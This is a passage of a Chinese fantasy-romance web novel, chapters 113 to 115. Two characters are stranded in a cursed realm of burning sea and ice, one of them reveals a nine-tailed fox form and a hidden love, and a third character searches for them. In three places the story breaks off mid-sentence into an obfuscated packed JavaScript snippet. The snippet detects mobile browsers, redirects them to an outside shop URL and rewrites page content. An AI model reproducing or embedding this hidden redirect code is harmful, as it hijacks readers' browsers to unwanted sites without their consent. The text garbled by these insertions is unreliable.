金毛毛和桂中秋都去发动自己的妖族朋友,看能不能找到二人出现的蛛丝马迹;叶霆霓则继续翻阅各类典籍,想办法探查那奇异的法术波动。 温尔雅对搜索队不抱太大希望,但对千里眼顺风耳倒是有些信心。时间刚刚过去一天多,营救还不算太晚,她一定能等到他的,不是吗? 他闭上眼睛,无比庆幸这一次还有张松鹤在她身边,无论是什么样的刀山火海,他都一定能护她周全。 张松鹤……拜托,请你一定要照顾好她…… 113.迷失狱 祝平安觉得自己成了一块龟裂的土地,一条焦渴的鱼,一棵枯萎的树,烈日灼烤着她,让她的心肝肺腑都在蒸腾。 热!她抬手撕扯自己的衣服,却感受到有一双手把她摁住:“不行,你现在不能再被晒到了!” 祝平安心中涌上怒气,她好热,好难受,她想凉快凉快,这个人听不懂吗?她挥动手臂,狂乱的希望脱离他的掌控,却被他紧紧按住,哄道:“要听话,不能乱动!” 她觉得手臂酸麻,气喘吁吁,有心想要看看那个讨厌鬼是谁,眼皮却重得睁也睁不开。她伸手,手臂很快被捉住,她抬脚,脚也很快被人抄起来抱在怀里。 她怎么也挣脱不了,只觉得身上越来越热,胸口痛的喘不过气来,头晕恶心。她想表达自己的痛苦,却只能发出一些无意义的呓语。 她忽然觉得好委屈,好难过,这是在哪里?这个人为什么要这样对她?坚实的陆地在哪里?不被风吹日晒的巢穴在哪里?能够治愈她一切伤痛的人在哪里? 她想她应该是哭了,有只手轻轻擦去她脸上的泪水,是温尔雅吗?既然是你,你为什么不治好我?你为什么要让我受这种痛苦? 她抓住那只手,贴在自己脸上,抽噎道:“尔雅……救救我……我好难受……” 张松鹤看着她烧得浑身滚烫,却毫无办法,听见她委屈地落泪,呼唤着温尔雅时,更是五内如焚。他不是温尔雅,如果自己真的是温尔雅,那该多好! 他只能想办法给她物理降温,又不敢直接把她放在冰面上,只怕上下温差太大会让她病的更重。他制造出一些薄薄的冰,贴在她额头和躯干上,希望她的温度能够降下来一点,暗暗祈祷她能度过这一关。 这种折磨持续了三天三夜,她一时哭叫,一时狂躁,一时又用令人心碎的口气呼唤温尔雅,他一刻不停地照顾她,薄冰贴在她额头,接着又被她的体温融化,滴落在她脸颊上,如同他心中未能流淌的泪水。 她一天天地消瘦下去,颧骨暴突,嘴唇干裂,流落到此已经四天,陆地仍是没有影子,好在这片海中仍有生命,张松鹤偶尔还能捕到一些鱼,切下肉糜来喂她。 起初她一点也吃不下,每每强行喂她吃进去,她也会呕吐出来。到了第四天头上,她才终于能往下咽一点食物,张松鹤摸摸她的额头,发现温度终于降低了一些。 他松了口气,忍不住将她抱在心口,感受着她的心跳逐渐有力,心知道这个劫难她是度过去了。他暗自决定,从今往后,她必须时时刻刻跟温尔雅在一起,这种事情,绝对不能发生第二次! 祝平安是在第五天才睁开眼的,数日的高烧让她视物都不清晰了,恍惚间,她只觉得一个男子俯身来探她的额头,迷迷糊糊地叫道:“尔雅?” 男子顿了顿,却没说是或不是,而是继续摸她的额头:“太好了,你已经不烧了。” 紧接着,一块冰冰凉的东西被喂进她嘴巴里,她吮了一下,发现是冰块,带来她最渴望的凉意和水分,立刻贪婪地吸了起来。冰块吸完,人也差不多完全清醒了,她这才发现眼前的人是张松鹤。 她几乎认不出来他了,他赤裸着上身,浑身上下被晒成深棕色,背脊跟四肢是大片的起皮,整个人疲惫不堪,好像也死过了一回。看她眼神恢复了清明,便问她:“还要吗?” 随着他的问话,他手指一点,一块冰又悬浮在他手上,祝平安连话也来不及说,便扑在他手上,饥渴地抓住他手指,将那块冰吞进嘴里,吮吸的比婴儿吃奶还要急切。 就这样,他喂了她五六块冰,之后她继续要求,他却不给了:“你的身子很虚弱,受不住太多冰。” “我昏迷了几天?”祝平安终于感觉好了一点,这才询问,得知自己已经在海上漂流了五天,失望道:“还没有看到陆地吗?那我们……” “即使一辈子都漂在这里也没关系。”张松鹤安慰道:“有水给你喝,海里也有鱼给你吃,还有人陪着你说话,有什么不好的?” 祝平安无语瞪他:“你说真的?” “开玩笑的。”张松鹤举手投降,“还是快点想办法回去吧,万一你再生病,我就真不知道怎么办了。” 他虽然嘴上这么说,却一直在观察祝平安的状态。几天的高烧,让祝平安在昏迷中度过了晕船适应期,现在她已经不再觉得恶心,也能进食,身体有了营养来源,也就逐渐强健起来。 但张松鹤仍是又观察了三天,每隔三小时就要确认一下她的体温,直到确认她真的已经好起来,才继续呼唤水流的力量推动浮冰前进。 一天之后,异变在这片海域中发生。 今天是他们沦落至此的第九天,祝平安倚在张松鹤身上,躲在衣服下的一小片阴影里打瞌睡。猛然,浮冰似乎撞上了什么东西,剧烈的差点把祝平安摇进海里去。张松鹤一把捞住她,抬头看时,一切已经截然不同。 天空中高悬的太阳变成了月亮,明亮的日光变成了刺骨的寒风,海水也在一刹那封冻,化为了冰川。寒风夹杂着雪粒吹来,打在人脸上像是小刀子一样,初时还觉得疼,后来便已经完全冻僵麻木,再也没有知觉。 从零上四十度的热海到零下四十度的冰川,不过是一瞬的事情。祝平安身上的衣服刚刚还湿哒哒的,现在已经成了一层冰壳,她瑟瑟发抖,身上的皮肤转眼就被冻成了块块青紫色:“好冷……” 张松鹤顾不得多说什么:“衣服脱掉!否则,冰会把你的皮肤冻掉的!” “哈?”祝平安震惊了,“可是脱了不是更冷……” “就那一层,穿跟不穿到底有什么区别。”张松鹤看她不合作,急的恨不得自己动手去脱她衣服:“快,否则冻坏皮肤就糟了!我有别的办法给你保暖的!” 祝平安这才犹犹豫豫地脱衣服:“那你不准看啊。” “都什么时候了,还想这些!”张松鹤有点生气了,“你还要不要命了!” 但他依然闭上眼睛扭过了头,祝平安脱掉身上那层冰壳,寒风直接打在她身上,让她更抖得厉害。 下一秒,一个毛绒绒热乎乎的粗大尾巴缠在她腰际,将她卷起,抛入一个比床铺更柔软温热的地方,紧接着,更多雪白的毛绒绒盖在她身上,把她从头到脚盖的严严实实,好像一件最棒的毛皮大衣,为她挡住了凛冽的寒风。 祝平安惊愕的眼睛都睁大了! 她在这一片白色的绒毛中挣扎着露出头来,这才发现自己是趴在一只雪白的大狐狸背上,而自己身上盖着的是那狐狸九条毛绒绒的尾巴! 看她露出头,白狐狸扭过头来,用一条尾巴把她的脑袋盖住:“怎么出来了?不是不想让人看你?” 祝平安这才想起自己还是光身子的,赶快往绒毛里缩了缩:“张松鹤?是你?” 白狐狸脸上明明都是毛,可她硬是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118514|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从那狐狸脸上看出了一丝人类的表情,似乎是张松鹤在笑:“是我,怎么,不满意这个保暖效果?” 满意满意好满意! 祝平安的绒毛控又不识时务地发作了,她得说,大白狐狸比她见过的任何萌物都更慧黠可爱,甚至超越了金毛毛。 她迷醉地享受着浑身都被毛毛覆盖的幸福触感,好温暖、好丝滑、好舒服,这绒毛比最轻最软的毛毯更棒,她捧起一把毛,它们从她的指间丝滑流泻下去,一点都不打结! 绝世美毛啊! 张松鹤你有这么好的毛你怎么早不告诉我! 她干脆在狐狸背上打起滚来,他的背脊有一张两米的双人床那么宽阔,何况他的尾巴一直注意着她,只要她快跌落了,就会把她推回去,让她能够毫无顾忌地享受。 张松鹤感受她在他背上撒欢,虽然他看不见,依然能感受到她赤裸的肌肤,让他下腹都忍不住一热。 但他并没有阻止她,只是悄悄压抑自己心中的躁动,她受了那么多罪,难得开心一会儿,他怎么忍心打扰呢? 祝平安发够了疯,这才想起询问张松鹤:“你怎么会变成大狐狸?” “其实这才是我的真身。”张松鹤告诉她,“我是人妖混血,你应该知道吧?” 祝平安恍然大悟地点头:“原来你是狐狸精啊!” “……不是狐狸精,是九尾神狐。”张松鹤强调,“我母亲是人类,父亲是青丘九尾神狐一族,跟普通的狐妖不一样。” 那就是不普通的狐妖了呗,这句话祝平安只在心里想,没敢说出来:“平时从来没见你现出过真身呢?” “真身哪能轻易给人看呢?”张松鹤避重就轻地回答了这个问题。他不现出真身,也是为了修行考量。妖族终究是兽性更多,欲望跟情感过于强烈,不利于修持道心。 譬如之前九天,他寸步不离地照顾她,也不知道接触过多少次她的身体,却毫无不该有的想法;而他现出真身后,感受到祝平安赤裸地趴伏在他背上,他便有些把持不住了,好在她那个角度看不见…… 他从地上把祝平安脱掉的衣服叼了起来,把衣服放在自己背上,往祝平安的方向推推:“一天左右,衣服就会干了,到时候你再穿。” 祝平安乖乖点头,问他:“那我们出发?”这个待遇可比在海上漂泊好多了,又软又暖,她感觉自己能一直在狐狸背上趴着。 “不,我们不走了。”出乎意料,张松鹤却给了她这个答案:“这里的时间和空间都很诡异,热海能一瞬间变成冰原……这里一定不是寻常的地方,说不定,我们之前九天一直向前漂流,都是白费功夫。” 大白狐狸说着说着就趴下了,狐狸脸伏在前爪上思考,尾巴不由得左右甩动。祝平安被白狐狸迷住了,把手往上伸,捉住大白狐狸的尾巴尖抱在怀里。 张松鹤有点不适应地甩甩尾巴,狐狸的尾巴是极为敏感的地方,她的动作让他心旌摇曳,他却依然忍着不告诉她。如果这就是他们最亲密的距离,少许折磨实在算不了什么。 他强迫自己把心神放在二人现在的处境上:“我想,这里恐怕已经不是地府了,甚至已经不在三界之中。” “那是哪里?” “九日循环,周而复始,时有热海,时有冰川……”他喃喃念着曾在古老典籍中看到的描述,爪子轻轻拍击地面:“这里,是传说中的迷失狱。” 114.茫茫皆不见 温尔雅陷入了一种古怪的似睡非睡的状态。 今天是平安出事的第四天,四天来,他从未合眼,卫珑等人让他去睡觉,他哪里睡得着?确认了在那犯人身上问不出什么来,他便开始清查到底谁是幕后主使,也许将宝华楼背后的势力连根拔起,还能找到其他线索。 这不是一件容易的事情,在连夜审完犯人之后,他跌跌撞撞地走出来,强撑着向下一个目标走去,一阵天旋地转般的晕厥袭来,他眼前一黑,栽入了路边的造景水池。 就在这片刻,他觉得自己的灵魂似乎融化在水滴中,分解成千千万万。他的眼睛缓缓合上,却强撑着不敢合眼,不行,平安还在等着他…… 但他终究是未能抵抗住那阵晕眩,模模糊糊中,他觉得自己来到了一个极为炎热的地方,他是谁?他以什么形式存在? 好热……难受…… 是她的声音,他惊喜极了,试图找出她的方向,却连自己的四肢都感受不到,只觉得自己像是一朵云,一团雾,随波逐流,只能徒劳地原地打转。 尔雅……救救我…… 她怎么了?受伤了吗?生病了吗?他急了,拼命向她而去,却依然无法前进一丝一毫,拼尽了全力,也只能做到在她周围环绕不去。 她委屈地哽咽:“你在哪?为什么不来救我?” 我在这里!我就在你的身边啊!告诉我怎么才能救你!温尔雅几乎要绝望的大吼起来,可他依然什么都看不到,甚至他怀疑自己只是陷入一场错觉,焦急和自责吞噬着他的心,他在无人能感受到的领域疯一般的高叫,倘若他真的有声带的话。 忽然,他身躯一重,他忽然切切实实地感觉到,自己有了实体,他还是看不见,但他能感觉到,自己被贴在一个火热的身躯上……是她,是她的身躯,她的气味…… 她怎么啦?她的皮肤好烫,她在生病,是不是? 别怕,我来了,我就在这里,我会治好你的…… 只要我还存在,你就不会死,哪怕追溯到时空的尽头,我都会找到你,治愈你,把你带回我身边! 他感觉到自己在融化,很有可能再次回到那没有实体的形态,他连忙用力贴近了她,治愈的神力似乎遇到了许多屏障,流转的很不顺畅,融化的水珠向下流淌,像是他的眼泪。 等我……你要坚持住,一定要等我…… “温尔雅!” 哗啦一声,他从那迷梦般的世界骤然回返,每一个细胞都在叫嚣着涌进他的身体里,他从未感觉到自己身躯如此沉重,恍如从水分子变成一团沉重的泥。 他抬头,看到是白子欣,白子欣把他从水池里拉了出来,焦急地在他面前挥手:“温尔雅,这是几?” 他坐起身,打开白子欣乱晃的手,白子欣这才松口气:“你吓死我了,不声不响地就倒在水池子里,我还以为你撑不住猝死了呢!” 方才的事情仿佛只是他精神世界濒临崩溃时的幻想,可又是那么真实,让他更加燃起寻找她的渴望。他不会死的,她还活着,她还等着他去救她! 白子欣还在一边喋喋不休:“受害者家属要是都倒下了,不就没苦主了?你一定要保重身子,要不然还有谁能够帮她?” “三个小时。” 白子欣打个结巴:“什么?” “我说,我现在睡三个小时,三小时后你叫醒我。”温尔雅说罢闭上了眼睛,竟是连回家的时间都懒得浪费,直接走回办公室睡了起来。 人只要每天还能睡三小时,就能满足身体运转,他只要最低限度的睡眠维持生命,剩余的时间拿来睡觉,那是纯粹的浪费。 在梦里,他又不会遇到她。 他就这样以每天三小时的睡眠时间开始办宝华楼的案子,五天后,能查到都已经查的差不多。 这是一个地下组织,明面上做珠宝生意,背地里拐骗人口、提供违禁品、做杀手生意,从蛛丝马迹上看,确实有地府官员在后撑腰,但对方狡猾的很,似乎是在杀手出发的那一刻,便将自己与宝华楼的联系统统抹去,他们根本查不到任何线索! 噩耗一个接一个的传来,九天过去,三只搜索队都无功而返,虽然搜寻脚步还是没有停下,但温尔雅从那些队员们的脸上看得出来,他们已经不抱什么希望了。 魏玄成等人从天庭归来,给了他最沉重的一个打击,千里眼与顺风耳虽然看在张松鹤的面子上,查找了二人的下落,然而以他们的神力也无法看穿空间的屏障,找不到她!还是找不到她! 所有人都离开后,温尔雅的手紧了又紧。 即使所有人都放弃了,他也依然不会放弃的,无论代价是什么……只要她能回来…… 寒风呼啸,可祝平安躺在张松鹤的毛毛上,一点都不觉得冷。 在张松鹤认出这里是迷失狱之后,他便不再尝试寻找出去的路。据他说,这是一片被诅咒的放逐之地,甚至不在三界之内,一直向前走去也不过是白费力气,不如原地躺下,想想怎么能过的更舒服。 冰原的条件好过热海,起码不会让人晕船,张松鹤用法术唤来冰雪,制造了一间冰屋,好歹也能挡一挡风。在冰屋的时候,祝平安甚至会嫌弃张松鹤身上的毛毛太热。 真是过了河就拆桥,但他不跟她计较。张松鹤把她从背上叼起来,转而放在自己的肚皮上,那里的毛会短一点,没那么热。 想是想的挺好,结果,他忘记了自己现在是只狐狸,而且是没有衣服穿的狐狸。 于是,祝平安滚着滚着,就在毛肚皮下的绒毛看到了……一个个粉红色的圆东西。 一共六个。 她好奇地伸手去摸:“这是什么?” 张松鹤被她摸得全身的毛都炸起来了,大尾巴啪一下把她摁在肚皮上:“不礼貌!怎么可以乱摸那里!” 祝平安在脑子里反应了一会儿,想起了之前在流浪猫肚皮上见到的猫咪咪,不禁也是脸色爆红。原来那是狐狸的……公狐狸也有咪咪的? 嗯,公狐狸不仅长咪咪,而且咪咪还很敏感。祝平安在心里暗暗记下这个常识,安静了一会儿,看张松鹤的大尾巴死死捂着自己,半晌都不放松,也觉得自己刚刚太流氓了,轻轻戳了戳狐狸肚皮:“你生气了?” 张松鹤哪里是生气,尾巴不放开只是为了盖住下腹部更不堪入目的东西。变回原身后,他更容易被唤起,也更不容易平息,听她这样问,他努力让自己的声音听起来一切正常:“我没生气,但你以后不能再乱动了。” “哎,可是真的很无聊。”祝平安把头枕在狐狸肚皮上,感受那一起一伏:“我们到底要在这里待多久啊?” “说不定是一辈子。” “什么?那不是无聊死了?”祝平安揪紧了手里的狐狸毛。 “有我在这里陪你,也会觉得无聊吗?” “有你在当然好了。”祝平安郁闷地把脸埋下去,声音嗡嗡的:“可是,我们原本的世界更好啊,还有人在那里等着我回去呢!难道你就舍得你的亲人朋友?” “我跟你不一样。”张松鹤静默片刻,用大尾巴摸摸她的头:“从我懂事之后,我就知道,我生来就有使命,未来我必将羽化飞升,成为执法帝君。所以凡尘的一切对我来说都是过眼云烟,无论是至交好友还是故乡亲人,有一天,我必将离他们远去。我的归宿,本就不在凡尘,那对我来说,只是漫长岁月里短短的一站。” 祝平安却不能理解这种感情:“人也都会死的,这样的话,还活着的时候,经历过的一切就都没有意义了吗?” “你说得对。”张松鹤的大尾巴一下下地拍打着祝平安,“是我之前想错了。即使终究要分离,共同经历过的一切也不会因此而失色。比如现在,能这样跟你一起停泊在冰原,又何尝不是一段刻骨铭心的回忆呢?” “这才对嘛!就要有这样的心态!”祝平安表示肯定,“否则,你老是把一切都当做过眼云烟,是会错过很多的哦!” 她感到身下的狐狸肚皮忽然一下僵住了,随后才听到张松鹤缓缓搭腔:“是啊……会错过很多、很多……” “比如什么?”祝平安八卦心又起来了,开始追问,见张松鹤不答,一个劲的去戳他肚皮,结果不小心又戳到他的咪咪了。 大狐狸身子一抖,她忽然被大尾巴卷住,让她动弹不得,尾巴把她举到狐狸头面前,她抬头,迎上一双满含寂寞的眼睛,那里面的情感像是月下的大海,波平浪静下是暗流汹涌:“我错过了什么,你真的不知道吗?一定要让我明说,嗯?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124232|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他似乎还想说什么,最终却什么都没说出来,大尾巴又将她放回肚皮上。她这次再也不敢乱动乱问,伏在他柔软的腹部,心跳如擂鼓。 他这是什么意思?难道说,他对自己…… 她脑子里很乱,对照着他刚刚说的话,许多从前看不懂的小事在她脑海中划过,逐渐变得清晰。他对她忽冷忽热的态度、温尔雅总是对他着意防备、他偶尔露出的寂寞眼神、他为她落下的眼泪…… 预备役神明,也会动凡心吗? 她不敢抬头去看他的眼睛,把脑袋往肚皮里扎的死紧,一动也不动。 她就这样趴了很久,久到她都要睡着了。就在她即将入梦时,却有歌声缥缈,通过狐狸的胸腹传来,轻轻响在她的耳边。 是狐狸在唱歌。 他的歌声像是一只寂寞的海妖,在月下的冰海里,呼唤着永不会来的爱人。 那歌声破碎低沉,听不清楚歌词,曲调却流畅明丽,仿佛他已经哼过千百次,她分辨出那个曲调,一瞬间,胸口如遭重锤。 “你问我爱你有多深,我爱你有几分?你去想一想,你去看一看,月亮代表我的心……” 月亮代表我的心。 她仰头,看向天空,透过冰屋晶莹的屋顶,能看到明月高悬,翩然云间,流光皎皎,不染纤尘,它一直在空中徘徊不去,已经不知多少个日夜。 她翻身起来,直直望向狐狸的眼睛。 是……那个时候开始的?那个有着月亮和舞蹈的夜晚,那个她至今都难以忘记的夜晚,他对她,也是一样的心思吗? 他到底强自压抑了多久,才能让她一点都没看出破绽?如果没有变回原身,他是不是永远都不会表达出来? 瞧见她还醒着,狐狸的歌声讶然地停下去。 今夜是一个意外中的意外。只有在这片唯独二人存在的世界,只有他脱去了张松鹤这个身份,变成原身的形态,只有以为她已经睡着,狐狸才敢哼起那支歌。 毕竟,狐狸从一开始就没想过,她能够望见那一轮明月。 “忘了吧。”狐狸最后只说了这三个字。 这一夜祝平安睡得很不安稳。 她又梦见了那个庆功会,梦见《月亮代表我的心》,梦见她和他共舞。 可他们不在她的家,而是在空无一人的冰川上,冰凌在月下闪着银蓝的光,鲸鲵在洋面唱着神秘的歌曲,雪花纷纷扬扬的落在他们的脸庞上,又被他们的呼吸融化。 她在他臂弯里旋转,他们跳了一遍、两遍、三遍……她想也许跳了整整一夜,可是月亮,却始终没有落下。 他一次又一次地抱起她,动作轻盈地像是托起一个易碎的梦,他的目光是那样痴缠,如月光般在她脸上徘徊不去。 她在他臂弯里飞翔,听见自己血脉在急速奔涌的声音,听见两人间的火花劈啪作响,听见他也在轻轻哼着那支歌,听见他若有所指地说着一句又一句话:“这支舞还没有跳完。” “张松鹤永远与你同行,任你差遣。” “给我时间,我会做的跟他一样好。” “要是没有了你,我活着做什么?” “我错过了什么,你真的不知道吗?” “你真的不知道吗?” 她目眩神迷,舞步不知何时停止,最后一次,他将她抱起,不再放下,他的嘴唇落在她额头上,比雪花更冰凉,又比狐狸毛更加轻盈柔软。见她没有躲闪,才逐次从她额头滑下,落在她的眉宇、眼睛、鼻尖…… 就在他吻上她嘴唇的一瞬间,夜空烟花炸响,火树银花,一片绚烂。明月在波心荡漾,垂柳在随风飘扬,她惊愕地抬头,与她相拥的人却变成了温尔雅。 他的目光比烟花更明亮,犹带着热吻后的气喘吁吁。他的鼻尖贴着她的鼻尖,吃吃笑道:“摸也摸了,亲也亲了,现在,我算是你的什么人?” 你是我的什么人? 她心下一片茫然地接受着他的拥抱,视线却越过温尔雅的肩膀,看到了烟花尽头,满含着落寞的、张松鹤的脸。 她惊骇地想要叫住他,可张松鹤却只是摇摇头,对她说:“忘了吧。” 随后,他独自转头离去,隐入云天深深,灯火阑珊处,已经空寂无人。 115.还君明珠 第二天,祝平安醒来后,却迟迟不肯睁开眼睛。 祝平安真的不知道该用什么态度来面对张松鹤。 她知道,自己有了温尔雅之后,应该对于其他异性的示好视而不见、严词拒绝,可是她的心却不听自己的使唤。她……在为他的寂寞心痛。 有那么一瞬间,她甚至也在想,如果能在这里永恒的漂流下去……随后,这个想法就被她自己打灭了,温尔雅要怎么办?他好不容易才逐渐忘了从前的日子,没有了她,他要怎么面对这个世界? 吸了口气,她决定,就算是再难,也要摆出坚定的姿态,婉转劝他再觅佳偶,千万别在她这一颗歪脖子树上吊死了。 一切都想好之后,她才张开了眼睛。 其实她一醒来,张松鹤就知道了。他知道她在那里辗转反侧,也知道她内心的为难之处,他将自己的脸埋在爪子里,有那么一会儿,也不想去面对她。 他一直不愿意让她知道自己的心事,怕的就是加重她的心理压力,反而与他疏远。可世事难预料…… 他应该用什么样的态度面对她?她能忘掉吗?她会忘掉吗? 即使她真的能忘掉,他又能忘掉吗? “今天真是一个好天气!”祝平安坐起来,用播音员腔说了一句话。 大狐狸抬眼望去,夜晚黑沉沉的,寒风飕飕地打在冰屋上,比鞭子还响亮。 这头开的不好,重来……祝平安轻咳两声,重新开头:“我饿了。” 这件事倒是牵动着狐狸的全幅心神,他举起大爪子用力凿了两下,把冰面凿出一个大洞,他把祝平安的领带叼起来垂进冰洞里,不一会就钓上两条鱼,还贴心地用大爪子刮了刮鱼鳞,再拿给祝平安吃。 往日他也是这样照顾祝平安的,可是今天不知怎么,祝平安都觉得气氛不对。她觉得这是因为她整个人都埋在狐狸肚皮里,很难拉开什么距离感,但要是离开狐狸的庇护……那她倒是还想要命。 怎么才能在既不伤害狐狸的心情,又不伤害她身体的情况下,婉转地表示拒绝呢? 祝平安表示这题超纲了。 反观张松鹤,他只想扮演把昨夜记忆倒带删除的样子,绝口不提任何事情,甚至还一个劲儿跟祝平安说些趣事。 什么他小的时候被邻居小孩当成了狐狸狗啦、第一次练剑的时候打到自己后脑勺啦、背不下来经书被师父打手板啦…… 祝平安嗯嗯地听着,却心不在焉,他听出了她只是在勉强配合他,于是他也不再说话。 两个人都不说话,天地间一下静了下来,祝平安这才发现,原来安静才是世界上最残忍的刀子,它会轻易掀开那些一团和气的面纱,明明白白地告诉她,有些事情发生了就是发生了,不是粉饰太平就能解决的。 她一向很勇敢,可是现在她忽然没了勇气,既不敢挑破,又不敢去直面,她只得把自己的头一直向下埋,几乎要钻进狐狸的身体里。狐狸看她已经快窒息了,最终还是开口道:“抱歉。” 祝平安连连摇头:“该说抱歉的是我。” 她斟酌着用词:“等我们回去了之后,我应该就会去民生诉求部,那时候……”那时候你就不会经常见到我,也许你会好受一些。 她没有说出来,可他懂了她的意思。虽然明知道这是早就决定的事情,但她这样说出来,意思便全然不同。她想要逃去没有他的地方…… 不是早就知道的吗?世上之事阴差阳错,一错便不再重来,但他现在仍是忍不住步步踏错,即使明知道不应作出如此反应,却不能控制住自己的心。 悲伤像是黑夜,比过往的每一次到来的都汹涌,可又能对谁诉说呢?这片情海,这一次是他自愿踏入的,他早已接受了不会被接纳的事实…… 可是,至少不要把他在海中漂流不去的资格都剥夺吧。 祝平安硬起心肠不去看失魂落魄的大狐狸。 他的耳朵趴下了,连尾巴都不再摇动,眼神中只盛满一种名叫“心碎”的情绪。祝平安觉得自己很残忍,她好像在用小刀一下下地凌迟着一颗爱着她的心…… 可她没有别的选择。 她抱歉地拍着狐狸的爪子:“我想过了,你说的对。从今以后,你还会见到更多更好的风景,遇见形形色色的人,看到更美更广阔的世界……这三百年,不过是你生命中短短的一站,弹指一挥间,像是镜中花水中月,只是幻影,不是你的归宿……” 她的话断在喉咙里,狐狸的尾巴尖轻柔地捂住了她的嘴。 “你错了。”他望着她,“这一切不是幻影,这就是我的归宿。” “你之前明明也是这样想……” “是啊,可是,我变了。”他的尾巴尖悲伤地垂下,“总有一个人的出现,会改变你的观点,你的思维,你的一切,让你的世界天翻地覆,让你知道什么是真实,什么是虚幻……” “对我来说,现在这一刻就是真实,除此之外,皆为虚幻。我只想,抓住现在我能够拥有的幸福……” “所以你更应该……” “不……不……”狐狸毛绒绒的头颅依恋地在她身上蹭着,“我现在的幸福,就是不远不近地望着她……” 祝平安哑然无语,半晌才问道:“值得吗?哪怕永远等不到那个人的回眸?也许你会在这种无望的等待中,错过真正的幸福,你真的想好了吗?” 这个问题的答案,狐狸早就已经知晓,他笑了起来。 “青丘之狐,一生只会爱上一个人,这是我的自然本能。”他低下头,鼻尖轻轻点在她的额头上,湿漉漉地,像是一个克制的吻,“我曾经违逆过我的本能,后果……你知道了。所以,我不愿再重蹈覆辙。以后我的生命也许还有很长,一百年、一千年、一万年……可是,让我倾心的人,再也不会有了。” “我的本能告诉我,如果心已经失落在别人身上,那我最好不要离开那颗心太远,否则,失去了心的狐狸,就活不成了……” 话到这里,已经说尽了,祝平安疲惫地闭上眼睛,不再说什么。 可与此同时,她的迷茫更甚,她不得不面对这错综复杂的局面,既不忍伤害他,更不愿意伤害另一个人。 温尔雅……她在心中呼唤那个名字,如果没有落到这个迷失狱,是不是一切就不会这么纠结?世界上还是只有我们两个,没有悲伤、没有遗憾、没有……心痛…… 她深吸一口气,转过身去。 “好啊,既然这是你的选择,我也不会多加置喙。”她不让他看到自己脸上的表情,“但是我也有我的选择,我希望与你保持一定的距离。” 说罢,她掀开身上的狐狸尾巴,跳下地面,就往冰屋角落走去。 她还没走出两步,就脚下一轻,被大白狐狸叼了起来,又甩回他的后背,白狐狸生气道:“怎么能拿这个开玩笑!你不要命了?” 见她倔强地把头扭过去,还想往下跳,狐狸用尾巴死死摁住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130585|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,闭上眼睛,忍了又忍,最终还是他做出了让步。 “你想跟我保持距离,我同意;但你待在我身边,是生存需要,我不能让你拿自己的生命冒险。”狐狸也扭过头去,“身体的距离拉不开,但你可以不跟我说话,拉开精神距离,这样,你满意了吗?” “倘若能离开迷失狱,你想怎么保持距离,都由你!但现在,我不准你离开我一步!” 大白狐狸说到做到。 从那天起,他真的不再跟祝平安说一句话。一人一狐,虽然贴在一起,却保持着背对背的冷战姿势。 当然,他也没有耍什么小手段来逼迫祝平安不得不跟他说话,每隔两小时,水球会自动浮到祝平安身边,一天依然捕三次鱼。祝平安一边与他“保持距离”,一边接受他无微不至的照顾,心里越来越觉得自己不是个东西。 冰川永夜,寒风呼啸,天地间是绝对的安静,冰屋里只有两个人的呼吸声,这种寂寞让人发疯,祝平安在狐狸背上缩成一团,明明说了要保持距离,却不能不去汲取他的温暖,她几次蠕动嘴唇,想要说点什么,可想起温尔雅,又硬起心肠咽了回去。 温尔雅……你在做什么?没有你在身边,我想我早晚都会熬不住的…… “迷失狱?你能确定?”温尔雅豁然站起,打翻了桌上的茶杯。 “不确定,但这总是个方向。”叶霆霓也是熬得两眼发红,把自己找到的古籍拿出来给他看,“这是我在所有典籍中找到最符合的一条了,我一看到就来找你了,你先听一听:迷失之狱,不在三界内,远离四洲中,以血珀为启……” 温尔雅蹙眉,血珀?倒是跟线索对上了,至于不在三界内的描述,也跟目莲罗汉追查不到的空间大致相符。他急道:“念下去!” “其中光景,九日循环,周而复始。时有热海,时有冰川,沸如滚汤,寒如优钵……” 温尔雅听得浑身的血液都凉了。 三界之外的一片海?怪不得他感知不到她,他又想起了自己的那个幻觉,想起那个极为炎热的空间,想起她哀哀的抽泣声:“好热……救我……” 那不是幻觉!确实是她,她就在那个迷失狱中受这种苦吗? 时有热海,时有冰川……那是怎么样的折磨?地狱有时尽,而迷失狱却是九日循环,周而复始!现在已经是她失踪的第十八天了,她还能撑过几天?甚至,他都不敢确定,她能不能撑到现在这一刻! 他一把抓住叶霆霓:“不要再念没有用的了!直接念,怎么才能找到那个地方!” 叶霆霓低头快速浏览书中内容,小半晌后,她脸色变了,偷眼看了看他的神色,吞吞吐吐,不敢说话。温尔雅哪有心情猜她的哑谜,催促道:“快点说!” 